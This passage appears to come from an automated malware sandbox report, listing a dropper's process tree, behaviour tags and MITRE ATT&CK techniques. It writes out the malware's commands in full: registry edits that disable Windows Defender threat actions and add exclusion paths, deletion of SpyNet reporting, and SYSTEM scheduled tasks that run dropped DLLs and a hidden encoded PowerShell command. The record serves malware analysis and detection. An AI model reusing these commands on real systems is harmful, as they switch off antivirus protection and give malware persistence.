- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5000

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:3976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:3880

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:816

C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt\QEJzPCsOgNeEaNF\GThEBwa.exe
C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt\QEJzPCsOgNeEaNF\GThEBwa.exe 3x /site_id 525403 /S
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4680

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4188

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
- Suspicious use of WriteProcessMemory
PID:3716

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:3724

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:1120

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:2020

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:2088

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:4092

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:4708

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:3704

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:1196

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:4880

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:3404

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:3256

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:4124

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:3552

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:636

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:1232

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:4900

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:1600

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:4548

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:2448

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:728

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:3976

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:2944

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:1580

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:5024

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ATZmuaBwNwmU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ATZmuaBwNwmU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QYiUKrukFVUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QYiUKrukFVUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SHsJRQZsU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SHsJRQZsU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\aJAQLsoDkiWqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\aJAQLsoDkiWqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fxkldoUMcXUSOxVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\fxkldoUMcXUSOxVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\MYjwJFnMfsmfKHMw\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\MYjwJFnMfsmfKHMw\" /t REG_DWORD /d 0 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1644

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATZmuaBwNwmU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3760

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATZmuaBwNwmU2" /t REG_DWORD /d 0 /reg:32
4⤵
PID:4608

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ATZmuaBwNwmU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3792

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QYiUKrukFVUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2868

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QYiUKrukFVUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2316

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SHsJRQZsU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4648

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SHsJRQZsU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3200

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aJAQLsoDkiWqC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1116

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aJAQLsoDkiWqC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:976

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1808

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:2284

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fxkldoUMcXUSOxVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:1732

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\fxkldoUMcXUSOxVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:1036

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt /t REG_DWORD /d 0 /reg:32
3⤵
PID:4776

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\kVuqSqHMACBMgWqnt /t REG_DWORD /d 0 /reg:64
3⤵
PID:2836

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\MYjwJFnMfsmfKHMw /t REG_DWORD /d 0 /reg:32
3⤵
PID:1496

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\MYjwJFnMfsmfKHMw /t REG_DWORD /d 0 /reg:64
3⤵
PID:1740

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gMsuELkHB" /SC once /ST 02:03:05 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Creates scheduled task(s)
PID:3016

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gMsuELkHB"
2⤵
PID:60

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gMsuELkHB"
2⤵
PID:1864

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "VgOpnHVQDAdMZqNFB" /SC once /ST 07:51:58 /RU "SYSTEM" /TR "\"C:\Windows\Temp\MYjwJFnMfsmfKHMw\EsLoLFOmOLSjFdG\MUsoMHG.exe\" aF /site_id 525403 /S" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:3588

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "VgOpnHVQDAdMZqNFB"
2⤵
PID:3312

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1836

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:2400

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:1868

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4712

C:\Windows\Temp\MYjwJFnMfsmfKHMw\EsLoLFOmOLSjFdG\MUsoMHG.exe
C:\Windows\Temp\MYjwJFnMfsmfKHMw\EsLoLFOmOLSjFdG\MUsoMHG.exe aF /site_id 525403 /S
1⤵
- Executes dropped EXE
- Checks computer location settings
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2904

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bNHXguvSZYiOwSiXLC"
2⤵
PID:884

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
2⤵
PID:4608

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:2376

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
2⤵
PID:1724

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:4888

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\SHsJRQZsU\IMONHe.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "DNDvMcbpefrYjKZ" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1124

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "DNDvMcbpefrYjKZ2" /F /xml "C:\Program Files (x86)\SHsJRQZsU\btPRldJ.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:4652

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "DNDvMcbpefrYjKZ"
2⤵
PID:1352

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "DNDvMcbpefrYjKZ"
2⤵
PID:3104

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "WEhIDiLYPHjasB" /F /xml "C:\Program Files (x86)\ATZmuaBwNwmU2\txeIqSu.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:3268

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "uMLBCyigOFctO2" /F /xml "C:\ProgramData\fxkldoUMcXUSOxVB\RCykrPC.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:1120

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "kiDkdQMpQtFhhDeJz2" /F /xml "C:\Program Files (x86)\obbvPdCxLMZjlJoeoAR\cqlwJQp.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:1836

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "VjVOLqrPjSeucnEqiOK2" /F /xml "C:\Program Files (x86)\aJAQLsoDkiWqC\WtwjTdh.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:3720

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "mDNVJgqIdbaAfzWWp" /SC once /ST 02:30:29 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\MYjwJFnMfsmfKHMw\jWeCtGXw\lZblLtJ.dll\",#1 /site_id 525403" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:440

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "mDNVJgqIdbaAfzWWp"
2⤵
PID:3980

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
2⤵
PID:3832

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
3⤵
PID:1988

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
2⤵
PID:1820

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
3⤵
PID:3236

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "VgOpnHVQDAdMZqNFB"
2⤵
PID:3976

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\MYjwJFnMfsmfKHMw\jWeCtGXw\lZblLtJ.dll",#1 /site_id 525403
1⤵
PID:5060

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\MYjwJFnMfsmfKHMw\jWeCtGXw\lZblLtJ.dll",#1 /site_id 525403
2⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:4072

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "mDNVJgqIdbaAfzWWp"
3⤵
PID:3176

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery